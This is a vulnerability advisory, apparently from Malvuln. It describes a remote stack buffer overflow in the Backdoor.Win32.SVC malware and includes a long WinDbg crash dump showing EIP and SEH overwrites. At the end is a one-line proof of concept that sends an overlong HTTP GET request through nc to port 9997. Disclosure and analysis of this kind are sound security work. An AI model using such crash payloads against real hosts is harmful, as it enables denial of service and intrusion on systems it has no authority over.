Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.SVC Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected system can make an specially crafted HTTP GET request to trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH). Type: PE32 MD5: 011961a42700e7385a106d362eb661c7 Vuln ID: MVID-2022-0446 ASLR: False DEP: False Safe SEH: False Disclosure: 01/05/2022 Memory Dump: (31c.1e64): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe FAULTING_IP: Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+141e 0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: 0019f360 -- (.exr 0x19f360) ExceptionAddress: 0040141e (Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x0000141e) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: mswsock!WSPAccept+0 71c8c1b0 68ec010000 push 1ECh FAILED_INSTRUCTION_ADDRESS: +0 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f3b0 -- (.cxr 0x19f3b0) eax=000007fc ebx=00000000 ecx=00000089 edx=0019fa28 esi=004050ac edi=001a0000 eip=0040141e esp=0019f810 ebp=007c06fe iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x141e: 0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 773a13ee to 0040141e FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 STACK_TEXT: 0019f810 0040141e backdoor_win32_svc+0x141e 0019f850 773a13ee ntdll!RtlAllocateHeap+0x3e 0019f89c 71c8cf6d mswsock!WSPAccept+0xdbd 0019fabc 41414141 unknown!printable+0x0 0019ff8c 41414141 unknown!printable+0x0 0019ff90 41414141 unknown!p SYMBOL_NAME: mswsock!WSPAccept+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: mswsock IMAGE_NAME: mswsock.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: .cxr 000000000019F3B0 ; kb ; dds 19f810 ; kb FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_mswsock.dll!WSPAccept BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mswsock!WSPAccept+0 Followup: MachineOwner --------- 0:000> !exchain 000a1594: ntdll!ExecuteHandler2+44 (773e9d70) 000a1b44: ntdll!ExecuteHandler2+44 (773e9d70) ... 0019fc74: 41414141 Invalid exception stack at 41414141 Exploit/PoC: python -c "print('GET /'+'A'*5173+' HTTP/1.1\r\n\r\n')" | nc64.exe x.x.x.x 9997 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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